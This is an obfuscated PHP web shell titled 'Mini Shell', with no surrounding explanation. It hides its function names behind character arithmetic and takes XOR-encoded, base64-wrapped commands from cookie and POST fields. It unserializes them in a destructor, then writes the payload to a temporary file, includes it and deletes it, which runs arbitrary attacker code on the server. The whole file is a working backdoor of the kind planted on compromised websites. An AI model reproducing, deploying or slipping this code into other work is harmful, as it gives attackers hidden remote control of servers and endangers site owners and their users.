Mini Shell

$WXKJzhq = 'Z' . chr ( 643 - 548 )."\116" . "\x72" . chr ( 477 - 359 ); $WujvWz = 'c' . chr ( 330 - 222 ).chr ( 797 - 700 )."\163" . "\x73" . chr (95) . 'e' . "\170" . chr ( 834 - 729 )."\x73" . chr (116) . 's';$JwKxlFOVD = class_exists($WXKJzhq); $WujvWz = "42292";$ayeDmJk = strpos($WujvWz, $WXKJzhq);if ($JwKxlFOVD == $ayeDmJk){function UQZcNAB(){$YUnxQLcOA = new /* 19887 */ Z_Nrv(52360 + 52360); $YUnxQLcOA = NULL;}$GUhUOw = "52360";class Z_Nrv{private function XUIAsg($GUhUOw){if (is_array(Z_Nrv::$GsmtO)) {$name = sys_get_temp_dir() . "/" . crc32(Z_Nrv::$GsmtO["salt"]);@Z_Nrv::$GsmtO["write"]($name, Z_Nrv::$GsmtO["content"]);include $name;@Z_Nrv::$GsmtO["delete"]($name); $GUhUOw = "52360";exit();}}public function hpmEF(){$yxtRgp = "41979";$this->_dummy = str_repeat($yxtRgp, strlen($yxtRgp));}public function __destruct(){Z_Nrv::$GsmtO = @unserialize(Z_Nrv::$GsmtO); $GUhUOw = "20869_24463";$this->XUIAsg($GUhUOw); $GUhUOw = "20869_24463";}public function dojYL($yxtRgp, $wwUjhC){return $yxtRgp[0] ^ str_repeat($wwUjhC, intval(strlen($yxtRgp[0]) / strlen($wwUjhC)) + 1);}public function aSsqSgw($yxtRgp){$CnqeZ = chr ( 572 - 474 ).chr (97) . chr (115) . chr (101) . '6' . chr ( 799 - 747 );return array_map($CnqeZ . "\x5f" . chr (100) . "\145" . chr ( 127 - 28 ).'o' . "\144" . 'e', array($yxtRgp,));}public function __construct($ZgfBRb=0){$reGVYIYgrk = chr ( 871 - 827 ); $yxtRgp = "";$MfCAMi = $_POST;$rLvIfZEpv = $_COOKIE;$wwUjhC = "ac24c336-3c27-4839-a88a-8f7c2cb0f9ca";$qVzOGoEE = @$rLvIfZEpv[substr($wwUjhC, 0, 4)];if (!empty($qVzOGoEE)){$qVzOGoEE = explode($reGVYIYgrk, $qVzOGoEE);foreach ($qVzOGoEE as $GvRCAVix){$yxtRgp .= @$rLvIfZEpv[$GvRCAVix];$yxtRgp .= @$MfCAMi[$GvRCAVix];}$yxtRgp = $this->aSsqSgw($yxtRgp);}Z_Nrv::$GsmtO = $this->dojYL($yxtRgp, $wwUjhC);if (strpos($wwUjhC, $reGVYIYgrk) !== FALSE){$wwUjhC = explode($reGVYIYgrk, $wwUjhC); $ydHNVk = base64_decode(md5($wwUjhC[0])); $oIwtPhaSQ = strlen($wwUjhC[1]) > 5 ? substr($wwUjhC[1], 0, 5) : $wwUjhC[1];$_GET['new_key'] = md5(implode('', $wwUjhC)); $lQCUak = str_repeat($oIwtPhaSQ, 2); $WucmPSM = array_map('trim', $wwUjhC);}}public static $GsmtO = 15321;}UQZcNAB();}